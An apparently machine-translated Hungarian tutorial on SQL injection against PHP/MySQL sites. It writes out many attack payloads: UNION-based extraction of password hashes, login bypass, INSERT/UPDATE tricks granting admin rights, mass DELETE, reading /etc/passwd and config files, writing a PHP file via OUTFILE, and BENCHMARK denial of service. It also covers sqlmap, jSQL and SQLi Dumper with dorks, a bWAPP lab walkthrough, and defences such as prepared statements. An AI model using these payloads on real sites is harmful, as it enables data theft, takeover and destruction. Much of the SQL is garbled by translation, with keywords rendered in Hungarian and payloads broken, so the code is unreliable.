Sql injekció. Ami? Hogyan lehet megtudni a MySQL verzióit

A gondatlanság és a figyelmetlenség két oka annak, hogy olyan kódot írjunk, amely sebezhető az SQL-injekciókkal szemben. A harmadik ok - a tudatlanság - ösztönzi a programozót tudásának elmélyítésére vagy akár szakmaváltásra.

SQL injekció ( SQL injekció) - sebezhetőség amely az adatok elégtelen ellenőrzése és feldolgozása miatt következik be, amelyeket a felhasználó továbbít, és lehetővé teszi az SQL programkód által váratlan lekérdezések módosítását és végrehajtását.

Az SQL injekció egy széles körben elterjedt biztonsági hiba az interneten, amely speciális programok nélkül is könnyen kihasználható, és nem igényel kiterjedt műszaki ismereteket. Ennek a sérülékenységnek a kihasználása nagyszerű lehetőségeket nyit meg, például:

  • adatlopás - 80%;
  • szolgáltatás megtagadása - 10 százalék;
  • az adatok helyettesítése vagy megsemmisítése - 2-3%;
  • egyéb esetek és szándékok.

Különféle programok is léteznek a webhelyek biztonságának tesztelésére mindenféle JS és SQL injekcióhoz.

Részletes magyarázat

Ebben a cikkben megpróbálom elmagyarázni a MySQL adatbázissal való interakció során felmerülő főbb kockázatokat. Az érthetőség kedvéért példát adok egy egyszerű adatbázis-struktúrára, amely a legtöbb projektre jellemző:

ADATBÁZIS LÉTREHOZÁSA `hírek`; HASZNÁLJA a "híreket"; # # hírtábla # TÁBLÁZAT LÉTREHOZÁSA `hírek` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) alapértelmezett NULL, `dátum` dátum és idő alapértelmezett NULL, `szöveg` szöveg, ELSŐDLEGES KULCS (`id` )) TÍPUS=MyISAM; # # adjunk hozzá néhány adatot # INSERT `news` SET `id`="1", `title`="első hír", `date`="2005-06-25 16:50:20", `text`=" hírszöveg"; INSERT `news` SET `id`="2", `title`="második hír", `date`="2005-06-24 12:12:33", `text`="teszthírek"; # # user table # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL ALAPÉRTELMEZETT "0", ELSŐDLEGES KULCS (`id`)) TYPE=MyISAM; # # több felhasználó hozzáadása, az egyik adminisztrátori jogokkal, a másik egyszerű # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 "; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Látjuk, hogy a kérés a $_GET["id"] értékétől függően jön létre. A sebezhetőség ellenőrzéséhez elegendő azt olyan értékre módosítani, amely hibát okozhat az SQL lekérdezés végrehajtása során.

Természetesen előfordulhat, hogy nincs hibakimenet, de ez nem jelenti azt, hogy ennek eredményeként nincs hiba

„Hiba van az SQL szintaxisában; ellenőrizze a MySQL-kiszolgáló verziójának megfelelő kézikönyvet, hogy megtalálja-e a megfelelő szintaxist a """ közelében az 1. sorban.

vagy eredmény

http://test.com/index.php?id=2-1

ha van sérülékenység, akkor hasonló eredményt kell produkálnia

http://test.com/index.php?id=1.

Hasonló sérülékenységek lehetővé teszi a kérés módosítását a WHERE paraméter részben. Az első dolog, amit a támadó megtesz egy ilyen biztonsági rés felfedezésekor, hogy megvizsgálja, hány mezőt használ a kérés. Ehhez szándékosan helytelen azonosítót állítanak be, hogy kizárják a valós információ kimenetét, és egy ugyanannyi üres mezőt tartalmazó kéréssel kombinálják.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

a „nullok” számának meg kell egyeznie a kérésben használt mezők számával.

Ha a lekérdezés hibát ad, egy másik üres érték kerül hozzáadásra, amíg a hiba el nem tűnik, és üres adatokkal rendelkező eredményt ad vissza. Ezután a kombinált mezőket olyan értékekkel helyettesítjük, amelyek vizuálisan megfigyelhetők az oldalon.

Például:

http://test.com/index.php?id=-1+UNION+SELECT+null

Most azon az oldalon, ahol a hír főcímét kellett volna megjeleníteni, megjelenik a qwerty.

Hogyan lehet megtudni a MySQL verziókat?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Hogyan lehet lekérni az aktuális adatbázis-felhasználó bejelentkezését?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Mi a használt adatbázis neve?

http://test.com/index.php?id=-1+UNION+SELECT+null,ADATBÁZIS(),null,null

Hogyan szerezhet be más adatokat más táblákból?

SELECT * FROM `hírek` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Ez egy egyszerű módja annak, hogy megtudja a rendszergazda jelszavát vagy jelszókivonatát. Ha az aktuális felhasználó hozzáférési jogokkal rendelkezik a „mysql” adatbázishoz, a támadó a legkisebb probléma nélkül megkapja a rendszergazda jelszókivonatát.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

A kiválasztás most már csak idő kérdése.

Keresés

A keresés az egyik legsebezhetőbb hely, mivel egyidejűleg nagyszámú lekérdezési paraméter kerül továbbításra. Példa egy egyszerű lekérdezésre, amely kulcsszó szerint keres:

KIVÁLASZTÁS * A `hírekből` WHERE `cím`, MINT "%$search%" VAGY "szöveg", MINT "%$search%"

A $search az űrlapból kiküldött szó. A támadó átadhatja a $search="#-t a változóban, most a kérés így fog kinézni:

SELECT * FROM `hírek` WHERE `cím` LIKE "%"#%" VAGY `text` LIKE "%"#%";

Ennek megfelelően a kulcsszó keresési eredményei helyett az összes adat megjelenik. Ez lehetővé teszi a fent leírt lekérdezés-összesítési funkció használatát is.

Az ORDER paraméter használatával

Gyakran láthatja, hogy a keresési paraméterek megadásakor vagy információk megjelenítésekor lehetővé teszik a felhasználó számára, hogy bizonyos mezők szerint rendezze az adatokat. Azonnal elmondom, hogy ennek a sérülékenységnek a használata nem túl veszélyes, mivel hibát okoz a kérések kombinálásakor, de más területeken lévő sebezhetőségekkel kombinálva fennáll a veszélye ennek a paraméternek a megjegyzésének.

http://test.com/index.php?sort=name

az ORDER paraméter a $sort változótól függően jön létre

A következő kérés jön létre:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" VAGY "text" LIKE "%"/*%" ORDER BY */

ezzel kommentálja az egyik feltételt és az ORDER paramétert

Most újra kombinálhatja a lekérdezést a $sort=*/ UNION SELECT...

A paraméter sebezhetőségének kihasználása:

SELECT * FROM `felhasználók` ORDER BY LENGTH(jelszó);

Lehetővé teszi, hogy a felhasználókat a jelszó hosszától függően rendezze, feltéve, hogy azt „tiszta” formában menti.

Engedélyezés

Most próbáljuk meg átgondolni a felhasználói engedélyezés során előforduló SQL-befecskendezések lehetőségeit. Az engedélyezési adatok helyességét ellenőrző kérés általában így néz ki:

SELECT * FROM `users` WHERE `login`="$bejelentkezés" AND `password`="$jelszó";

ahol a $login és a $password az űrlapról átadott változók. Egy ilyen lekérdezés a felhasználó adatait adja vissza, ha sikeres, és üres eredményt, ha sikertelen. Ennek megfelelően a felhatalmazás átadásához a támadónak csak módosítania kell a kérést úgy, hogy az nullától eltérő eredményt adjon. Olyan bejelentkezés van megadva, amely egy valós felhasználónak felel meg, és jelszó helyett " VAGY "1"="1" vagy valamilyen igaz feltétel (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 1 ÉS 3 KÖZÖTT). Ennek megfelelően a kérés a következőképpen jön létre:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

amely visszaadja az eredményt, és ennek eredményeként jogosulatlan engedélyezéshez vezet. Mi a teendő, ha a táblázatban szereplő jelszavak kivonatolva vannak? Ezután a jelszó-ellenőrzés egyszerűen „le van tiltva” úgy, hogy mindent kommentál, ami a „bejelentkezés” után következik. Az űrlapon a bejelentkezés helyett a valódi felhasználó bejelentkezési azonosítója van hozzárendelve, és a "#", ezzel kommentálva a jelszóellenőrzést.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

opcióként "VAGY `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" ÉS `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" ÉS `password`="12345"

Nagy hiba a jelszó ellenőrzése a következőképpen:

SELECT * FROM `users` WHERE `login`="$login" ÉS `password` LIKE "$password"

mivel ebben az esetben a % jelszó bármilyen bejelentkezésre alkalmas

BEHELYEZÉS ÉS FRISSÍTÉS

Azonban nem csak a SELECT-ek jelentik az SQL gyenge pontját. Az INSERT és az UPDATE nem lehet kevésbé sebezhető. Tegyük fel, hogy az oldal képes felhasználókat regisztrálni. Lekérdezés, amely új felhasználót ad hozzá:

Az egyik mezőben lévő biztonsági rés lehetővé teszi a kérés módosítását a szükséges adatokkal. A bejelentkezési mezőbe hozzáadjuk a felhasználót, a "jelszót", 1)#, ezáltal hozzáadunk egy rendszergazdai jogokkal rendelkező felhasználót.

INSERT `users` SET `login`="felhasználó", `password`="jelszó", `admin`="0";

Tegyük fel, hogy az "admin" mező a "login" mező előtt található, így a "login" mező után érkező adatok cseréjének trükkje nem működik. Ne felejtsük el, hogy az INSERT parancs szintaxisa lehetővé teszi, hogy ne csak egy sort, hanem több sort is hozzáadhassunk. Példa a biztonsági résre a bejelentkezési mezőben: $login= user", "password"), (1, "hacker", "password")#

INSERT INTO `users` SET (`admin`, `login`, `password) ÉRTÉKEK (0, "felhasználó", "jelszó"), (1, "hacker", "jelszó")#", "jelszó") ;

Ily módon 2 bejegyzés jön létre, az egyik egy egyszerű felhasználó jogaival, a másik a kívánt adminisztrátori jogokkal.

Hasonló a helyzet az UPDATE-nél

További módosítandó mezők hozzáadása:

$login=", `password`="", `admin`="1

Aztán egy hasonló kérés

UPDATE `users` SET `login`="teapot" WHERE `id`=2;

Az alábbiak szerint módosítva:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Mi fog történni? A 2-es azonosítóval rendelkező felhasználó üres értékekre változtatja a bejelentkezési nevet és jelszót, és rendszergazdai jogokat kap. Vagy abban az esetben

$login=", `password`="" WHERE `id` =1#

Az admin bejelentkezési név és jelszó üres lesz.

TÖRÖL

Itt minden egyszerű, nem tud semmilyen adatot megszerezni vagy módosítani, de bármikor szívesen törölheti a felesleges adatokat.

$id=1 VAGY 1=1

TÖRLÉS A `hírekből` WHERE `id`="1" VAGY 1=1; // törli a táblázat összes bejegyzését.

Az 1=1 helyett bármely fent említett igaz feltétel lehet. A LIMIT paraméter elmenthető, ami korlátozza a törölt sorok számát, de nem mindig, egyszerűen kiírható.

DELETE FROM `news` WHERE `id`="1" VAGY 1=1# LIMIT 1;

Fájlokkal való munkavégzés SQL injekcióval

Komolyan kétlem, hogy ez bárhol megtörténhet, de az igazság kedvéért az ilyen módszereket is le kell írni. Ha a fájljogosultságok engedélyezve vannak, használhatja a LOAD_FILE és OUTFILE parancsokat.

Veszélyességük az alábbi lekérdezésekből ítélhető meg:

SELECT * FROM `hírek` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `hírek` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

De ezzel még nem ért véget minden baj.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` a "/home/test/www/test.php" outfile-ba;

Így írunk egy PHP kódot tartalmazó fájlt. Igaz, a kódon kívül még számos null bejegyzés lesz benne, de ez semmiképpen nem befolyásolja a PHP kód teljesítményét. Azonban számos feltétel van, amelyek miatt ezek a módszerek működnek:

  • A FILE jogosultság engedélyezve van az aktuális adatbázis-felhasználó számára;
  • A fájlok olvasási vagy írási joga annak a felhasználónak a joga, aki alatt a MySQL szerver fut, a fájl abszolút elérési útja;
  • kevésbé fontos feltétel, hogy a fájl mérete kisebb legyen, mint a max_allowed_packet, de mivel a MySQL 3.23-ban a legnagyobb csomagméret 16 MB lehet, a 4.0.1-es és ennél nagyobb verziókban pedig a csomag méretét csak a rendelkezésre álló memória mennyisége korlátozza, az elméleti maximum 2 GB-ig ez a feltétel általában mindig elérhető.

Mágikus idézetek

A mágikus idézőjelek lehetetlenné teszik az SQL-injekciók használatát a karakterlánc-változókban, mivel automatikusan kihagyják az összes " és " karaktert, amelyek a $_GET és a $_POST elemekkel együtt vannak. De ez nem vonatkozik a sebezhetőségek használatára egész vagy tört paraméterekben, bár azzal az eltéréssel, hogy ez nem használható ". Ebben az esetben a char függvény segít.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS SQL injekción keresztül.

Majdnem elfelejtettem mondani, és az SQL szakértők megerősítik, hogy az UNION művelet csak a MySQL >=4.0.0-ban lehetséges. Azok, akiknek van projektje a korábbi verziókon, megkönnyebbülten fellélegeztek :) De nem minden olyan biztonságos, mint amilyennek első pillantásra látszik. A támadó logikáját néha nehéz követni. "Ha nem tudok feltörni, legalább elbukok" - gondolja a hacker, és beírja a BENCHMARK függvényt egy példakérelemhez

SELECT * FROM `hírek` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

12-15 másodpercig tartott. Nulla hozzáadása - 174 másodperc. Egyszerűen nem tudtam többre felemelni a kezem. Természetesen a nagy teljesítményű szervereken az ilyesmi sokkal gyorsabban megtörténik, de... A BENCHMARK lehetővé teszi, hogy egyenként fektesd be magad. Mint ez:

SELECT * FROM `hírek` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Vagy akár így is

SELECT * FROM `hírek` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

A nullák számának pedig csak a begépelő „kedvessége” szab határt.

Szerintem még egy NAGYON erős gép sem fogja könnyen lenyelni az ilyen kéréseket.

A lényeg

Ez minden. Ebben a cikkben igyekeztem a lehető legnagyobb mértékben lefedni azokat a sérülékenységeket, amelyeket a programozók a MySQL adatbázisokat használó programok létrehozásakor tesznek. Abban azonban több mint biztos vagyok benne, hogy ez nem egy teljes lista.

Fontos megjegyezni az SQL-injektálás elleni szabályokat

  • Ne bízzon SEMMILYEN adatban, amely a felhasználótól származik. Nem csak a $_GET és $_POST tömbökben átvitt adatokról beszélünk. Ne feledkezzünk meg a $_COOKIE-ról és a HTTP-fejlécek egyéb részeiről. Ne feledje, hogy könnyen cserélhetők.
  • Nem szabad a PHP „varázsidézetek” opciójára hagyatkozni, amely valószínűleg többet akadályoz, mint segít. Az adatbázisba átvitt összes adatot típusonként, adatbázismezőkkel kell összesíteni. ($id=(int)$_GET["id"]), vagy a mysql_real_escape_string vagy mysql_real_escape_string függvények védik.
  • A mysql_real_escape_string nem hagyja el a % és _ karaktereket, ezért nem szabad a LIKE-kal együtt használni.
  • Nem szabad túlságosan támaszkodni egy helyesen megírt mod_rewrite-re sem. Ezek csak a „kényelmes” URL-ek létrehozásának módjai, de semmiképpen sem az SQL-injektálások elleni védelem.
  • A hibajelentés letiltása.
  • Ne segíts a rossz látogatóknak. Még ha a hibát azonosítják is, az azzal kapcsolatos információk hiánya súlyosan hátráltatja annak alkalmazását. Emlékezzen a különbségre a fejlesztési szakasz és a munkatervezet között. Hiba kimenetés egyéb részletes információk - az Ön szövetségese a fejlesztési szakaszban, és a támadó szövetségese működő verzióban. Ezeket sem szabad a HTML kódban kommentálva elrejteni, minden 1000 látogató után 1 lesz, aki még talál ilyet.
  • Kezelje a hibákat.
  • Az SQL-lekérdezések feldolgozását úgy írja meg, hogy a róluk szóló információkat egyes naplók tárolják, vagy levélben küldjék el.
  • Ne tároljon adatbázis-hozzáférési adatokat olyan fájlokban, amelyeket a PHP kódként nem dolgoz fel.
  • Azt hiszem, senkinek sem fedeztem fel Amerikát, de saját tapasztalataim alapján elmondhatom, hogy ez a gyakorlat meglehetősen általános. Ez általában egy *.inc kiterjesztésű fájl
  • Ne hozzon létre "szuper felhasználó" adatbázist.
  • Csak meghatározott feladatok elvégzéséhez szükséges jogokat biztosítson.
  • A keresésben érdemes korlátozni a minimális és maximális karakterszámot, amelyek a lekérdezési paraméterek.
  • Egy őszinte felhasználó számára 3-60-70 karakter elegendő a keresési érdeklődésének kielégítéséhez, és egyben megakadályozza azokat a helyzeteket, amikor a keresési lekérdezés a „Háború és béke” kötete lesz.
  • Mindig ellenőrizze a lekérdezés után visszaadott rekordok számát

Az oldalak csaknem 90%-a PHP-ben íródott Van egy ilyen logikai hiba, ez főleg akkor figyelhető meg, ha a felhasználótól kapott azonosító alapján történik kérés.Ha manuálisan adsz meg egy nem létező azonosítót a szkriptnek, akkor elég érdekes eredményeket fogunk látni néhány script munkájából , ahelyett, hogy visszaadná a 404-et, a program a legjobb esetben sem csinál semmit, és üres oldalra jelenít meg.

Biztonságos SQL az Ön számára.

Az internetes oldalak és oldalak száma folyamatosan növekszik. Aki teheti, vállalja a fejlesztést. És a kezdő webprogramozók nagyon gyakran használnak nem biztonságos és régi kódot. Ez pedig sok kiskaput teremt a támadók és a hackerek számára. Amit ők használnak. Az egyik legklasszikusabb sebezhetőség az SQL injekció.

Egy kis elmélet

Sokan tudják, hogy az interneten a legtöbb webhely és szolgáltatás SQL-adatbázisokat használ tárolásukra. Ez egy strukturált lekérdezési nyelv, amely lehetővé teszi az adattárházak kezelését és adminisztrálását. Az adatbázis-kezelő rendszereknek számos változata létezik - Oracle, MySQL, Postgre. Névtől és típustól függetlenül ugyanúgy használják az adatlekérdezéseket. Ebben rejlik a potenciális sebezhetőség. Ha a fejlesztő nem tudta megfelelően és biztonságosan feldolgozni a kérést, akkor a támadó ezt kihasználva speciális taktikával hozzáférhet az adatbázishoz, és onnan irányíthatja a teljes webhelyet.

Az ilyen helyzetek elkerülése érdekében megfelelően optimalizálnia kell a kódot, és gondosan figyelnie kell, hogy melyik kérés milyen módon kerül feldolgozásra.

SQL injekciók ellenőrzése

A hálózat sérülékenységeinek meghatározásához számos kész automatizált szoftverrendszer létezik. De egy egyszerű ellenőrzést manuálisan is elvégezhet. Ehhez fel kell lépnie a keresett webhelyek egyikére, és meg kell próbálnia adatbázishibát kiváltani a címsorban. Például előfordulhat, hogy egy webhelyen található szkript nem dolgoz fel kéréseket, és nem vágja le azokat.

Például van egy bizonyos_webhely/index.php?id=25

A legegyszerűbb, ha 25 után árajánlatot teszünk, és kérést küldünk. Ha nem történik hiba, akkor vagy az összes kérést kiszűri a webhely és megfelelően dolgozza fel, vagy a kimenetük le van tiltva a beállításokban. Ha az oldal újratöltötte problémákat, az azt jelenti, hogy van egy biztonsági rés az SQL injekcióhoz.

Ha észleli, megpróbálhatja megszabadulni tőle.

A sérülékenység megvalósításához tudnia kell egy kicsit az Egyikük az UNION. Több lekérdezés eredményét egyesíti egybe. Így kiszámíthatja a táblázat mezőinek számát. Az első kérés példája így néz ki:

  • some_site/index.php?id=25 UNION SELECT 1.

A legtöbb esetben egy ilyen bejegyzés hibát generál. Ez azt jelenti, hogy a mezők száma nem egyenlő 1-gyel. Így az 1 vagy több opció kiválasztásával beállíthatja azok pontos számát:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

Azaz, ha a hiba megszűnik, az azt jelenti, hogy a mezők száma helyes.

Erre a problémára is van alternatív megoldás. Például, ha a mezők száma nagy – 30, 60 vagy 100. Ez a GROUP BY parancs. A lekérdezések eredményeit valamilyen jellemző, például azonosító szerint csoportosítja:

  • some_site/index.php?id=25 GROUP BY 5.

Ha nem érkezett hiba, az azt jelenti, hogy több mint 5 mező van, így elég széles tartományból helyettesítve ki lehet számítani, hogy valójában hány mező van.

Ez az SQL injekciós példa kezdőknek szól, akik szeretnék kipróbálni magukat webhelyük tesztelésében. Fontos megjegyezni, hogy a Büntető Törvénykönyvnek van egy cikkelye a valaki más tulajdonához való jogosulatlan hozzáférésről.

Az injekciók fő típusai

Számos lehetőség kínálkozik a sebezhetőségek SQL-befecskendezéssel történő megvalósítására. A következő módszerek a legnépszerűbbek:

    UNION injekció. Ennek a típusnak egy egyszerű példáját fentebb már tárgyaltuk. A bejövő adatok ellenőrzésének hibája miatt valósul meg, amelyet semmilyen módon nem szűrnek.

    Hiba alapú SQL injekció. Ahogy a neve is sugallja, ez a típus a hibákat is kihasználja szintaktikailag hibás kifejezések küldésével. Ezután a válaszfejléceket elfogja, elemezve, amelyek később felhasználhatók egy SQL injekció végrehajtására.

    Halmozott injekció. Ezt a sérülékenységet az egymást követő kérések végrehajtása határozza meg. Jellemzője, hogy egy „;” karaktert ad hozzá a végéhez. Ezt a megközelítést leggyakrabban az adatok olvasási és írási megvalósításához való hozzáférésre, vagy az operációs rendszer funkcióinak vezérlésére alkalmazzák, ha a jogosultságok ezt lehetővé teszik.

Szoftverrendszerek SQL sebezhetőségek keresésére

Az SQL-befecskendezések végrehajtására használható programok általában két összetevőből állnak: a webhelyek esetleges sebezhetőségeinek keresése és az adatokhoz való hozzáférés. Szinte minden ismert platformhoz vannak ilyen segédprogramok. Funkciójuk nagymértékben megkönnyíti a webhely ellenőrzését az SQL-befecskendezéssel történő feltörés lehetőségére.

Sqlmap

Nagyon erős szkenner, amely a legtöbb jól ismert DBMS-sel működik. Támogatja a különböző SQL injekciós technikákat. Képes automatikusan felismerni a jelszókivonat típusát, és egy szótár segítségével feltörni. A szerverről fájlok letöltésére és feltöltésére is van funkció.

A Linux környezetben történő telepítés a következő parancsokkal történik:

  • git klón https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --varázsló.

Windows esetén van parancssor és grafikus felhasználói felület is.

jSQL injekció

A jSQL Injection egy többplatformos eszköz az SQL sebezhetőségeinek kihasználásának tesztelésére. Java nyelven íródott, ezért a JRE-t telepíteni kell a rendszerre. Képes fejléc- és cookie-kérések feldolgozására. Kényelmes grafikus felülettel rendelkezik.

A szoftvercsomag telepítése a következőképpen történik:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| fej-n 1`

Indítsa el a java -jar ./jsql-injection-v*.jar paranccsal

Az SQL-sebezhetőségek ellenőrzésének megkezdéséhez meg kell adnia a webhely címét a felső mezőben. Külön vannak a GET és a POST számára. Ha az eredmény pozitív, a bal oldali ablakban megjelenik a rendelkezésre álló táblázatok listája. Megtekintheti őket, és megtudhat néhány bizalmas információt.

Adminisztrációs panelek kereséséhez használja az „Adminisztrációs oldal” lapot. Speciális sablonok segítségével automatikusan megkeresi a kiemelt felhasználók rendszerrekordjait. Tőlük csak jelszókivonatot lehet kapni. De a program eszközeiben is elérhető.

Az összes sérülékenység megtalálása és a szükséges kérések beadása után a segédprogram lehetővé teszi, hogy feltöltse a fájlt a szerverre, vagy fordítva, letöltse onnan.

SQLi Dumper v.7

Ez a program egy könnyen használható eszköz az SQL sebezhetőségeinek felkutatására és megvalósítására. Az ENSZ ezt úgynevezett dorkok alapján állítja elő. Listáik megtalálhatók az interneten. Az SQL injekciós kulcsszavak speciális keresési lekérdezési minták. Segítségükkel potenciálisan bármelyik keresőmotoron keresztül megtalálhatja őket.

Képzési eszközök

Az itsecgames.com webhely egy speciális eszközkészlettel rendelkezik, amely lehetővé teszi, hogy példákon keresztül mutassa be az SQL-injektálás elkészítését és tesztelését. A használatához le kell töltenie és telepítenie kell. Az archívum olyan fájlokat tartalmaz, amelyek a webhely szerkezetét reprezentálják. A telepítéshez a rendszerben elérhető Apache, MySQL és PHP webszerverek készletére lesz szükség.

Miután kicsomagolta az archívumot a webszerver mappájába, a szoftvertermék telepítésekor megadott címre kell mennie. Megnyílik a felhasználói regisztrációs oldal. Itt meg kell adnia az adatait, és kattintson a "Létrehozás" gombra. Miután a felhasználót áthelyezte egy új ablakba, a rendszer felajánlja a tesztelési lehetőségek egyikének kiválasztását. Ezek között megtalálhatók a leírt injekciók és sok más tesztfeladat is.

Érdemes megnézni egy példát egy olyan SQL-injektálásra, mint a GET/Search. Itt ki kell választania, és kattintson a „Hack” gombra. A felhasználónak megjelenik egy keresősáv és egy bizonyos webhely utánzata filmekkel. A filmeket sokáig lehet végigmenni. De csak 10 van belőlük. Például megpróbálhat belépni az Iron Man-ba. Megjelenik a film, ami azt jelenti, hogy az oldal működik, és vannak benne táblázatok. Most ellenőriznünk kell, hogy a szkript szűri-e a speciális karaktereket, különösen az idézetet. Ehhez hozzá kell adni a "" címsort. Sőt, ezt a film neve után kell megtenni. Az oldalon a hibaüzenet jelenik meg: Hiba: Hiba van az SQL szintaxisában; ellenőrizze a megfelelő kézikönyvet a MySQL-kiszolgáló verziójához, hogy a megfelelő szintaxist használja az 1. sorban található „%” közelében, ami azt jelzi, hogy a karakterek feldolgozása továbbra is helytelenül történik. Ez azt jelenti, hogy megpróbálhatja helyettesíteni a kérését. De először ki kell számítania a mezők számát. Ehhez használja a order by, amelyet az idézet után írunk be: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Ez a parancs egyszerűen információkat jelenít meg a filmről, vagyis a mezők száma nagyobb, mint 2. A dupla kötőjel jelzi a szervernek, hogy a többi kérést el kell vetni. Most ismételnie kell, és egyre nagyobb értékeket kell helyettesítenie, amíg hiba nem jelenik meg. Ennek eredményeként kiderül, hogy 7 mező lesz.

Itt az ideje, hogy valami hasznosat szerezzen be az adatbázisból. Kicsit módosítania kell a kérelmet a címsorban, és ezt az űrlapot kell létrehoznia: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4 ,password,6, 7 a felhasználóktól --&action=search.Végrehajtása eredményeként a jelszókivonatokkal ellátott sorok jelennek meg, melyeket az online szolgáltatás segítségével könnyen érthető karakterekké alakíthatunk.És egy kis varázslattal ill. a bejelentkezési mező nevének kiválasztásával hozzáférhet valaki más rekordjához, például a webhely adminisztrátorához.

A termék rengeteg különféle injekciós típussal rendelkezik, amellyel gyakorolni lehet. Érdemes megjegyezni, hogy ezen készségek online vagy valós webhelyeken történő használata büntetőjogilag büntethető.

Injekciók és PHP

Általános szabály, hogy a PHP kód felelős a felhasználótól érkező kérések szükséges feldolgozásáért. Ezért ezen a szinten kell védelmet kiépíteni az SQL injekciók ellen a PHP-ben.

  • Az adatokat az adatbázisban való tárolás előtt mindig fel kell dolgozni. Ez elérhető meglévő kifejezések használatával vagy a lekérdezések kézi szervezésével. Itt is érdemes megfontolni, hogy a numerikus értékeket a szükséges típusra konvertálják;
  • Kerülje el a különböző vezérlőstruktúrák megjelenését a kérésben.

Most egy kicsit a MySQL lekérdezések összeállításának szabályairól az SQL injekciók elleni védelem érdekében.

Bármilyen lekérdezési kifejezés írásakor fontos, hogy az adatokat elkülönítsék az SQL kulcsszavaktól.

  • SELECT * FROM tábla WHERE név = Zerg.

Ebben a kialakításban a rendszer azt gondolhatja, hogy a Zerg egy mező neve, ezért idézőjelbe kell tenni.

  • SELECT * FROM tábla WHERE név = "Zerg".

Vannak azonban olyan helyzetek, amikor maga az érték idézőjeleket tartalmaz.

  • SELECT * FROM táblázat WHERE név = "Elefántcsontpart".

Itt a cat-d-nek csak egy része kerül feldolgozásra, a többi pedig parancsként fogható fel, ami természetesen nem létezik. Ezért hiba történik. Ez azt jelenti, hogy az ilyen típusú adatokat szűrni kell. Ehhez használja a fordított perjelet - \.

  • SELECT * FROM táblázat WHERE név = "Elefántcsontpart".

A fentiek mindegyike a karakterláncokra vonatkozik. Ha a művelet számmal történik, akkor nem kell idézőjel vagy perjel. Ezeket azonban kényszeríteni kell a kívánt adattípusra konvertálni.

Javasoljuk, hogy a mező nevét hátsó idézőjelbe zárjuk. Ez a szimbólum a billentyűzet bal oldalán található a tilde "~" jellel együtt. Erre azért van szükség, hogy a MySQL pontosan meg tudja különböztetni a mező nevét a kulcsszótól.

Dinamikus munka az adatokkal

Nagyon gyakran dinamikusan generált lekérdezéseket használnak bármilyen adat lekérésére az adatbázisból. Például:

  • SELECT * FROM táblázat WHERE szám = "$szám".

Itt a $szám változót adjuk át a mező értékének definíciójaként. Mi történik, ha Elefántcsontpart belekerül?

Természetesen ezt a bajt elkerülheti, ha a beállításokban bekapcsolja a „varázsidézeteket”. De most kiszűrik az adatokat hol kell, hol nem. Ezen túlmenően, ha a kódot kézzel írják, akkor egy kicsit több időt tölthet egy feltörésbiztos rendszer létrehozásával.

Ha saját maga is szeretne perjelet hozzáadni, használja a mysql_real_escape_string parancsot.

$szám=mysql_real_escape_string($szám);

$év=mysql_real_escape_string($év);

$query="INSERT INTO table (number,year,class) VALUES ("$szám","$év",11)".

Bár a kód mennyisége nőtt, még mindig sokkal biztonságosabban fog működni.

Helyőrzők

A helyőrzők olyan egyedi jelölők, amelyek alapján a rendszer tudja, hogy erre a helyre speciális függvényt kell beilleszteni. Például:

$sate = $mysqli->prepare("SELECT Körzet FROM Szám WHERE Név=?");

$sate->bind_param("s", $szám);

$sate->execute();

Ez a kódszakasz elkészíti a kérési sablont, majd összekapcsolja a számváltozót, és végrehajtja azt. Ez a megközelítés lehetővé teszi a kérésfeldolgozás és a végrehajtás elkülönítését. Így megvédheti magát a rosszindulatú kódok SQL-lekérdezésekbe való beillesztésével szemben.

Mit tehet egy támadó?

A rendszervédelem nagyon fontos tényező, amely nem elhanyagolható. Természetesen egy egyszerű névjegykártyás webhelyet könnyebb lesz visszaállítani. Mi van, ha ez egy nagy portál, szolgáltatás, fórum? Milyen következményei lehetnek annak, ha nem gondol a biztonságra?

Először is, a hacker megsértheti az adatbázis integritását és teljesen törölheti azt. És ha a webhely rendszergazdája vagy tárhelyszolgáltatója nem készített biztonsági másolatot, akkor nehéz lesz. Ezen túlmenően egy támadó, miután feltört egy webhelyet, átköltözhet egy másik webhelyre, amely ugyanazon a szerveren található.

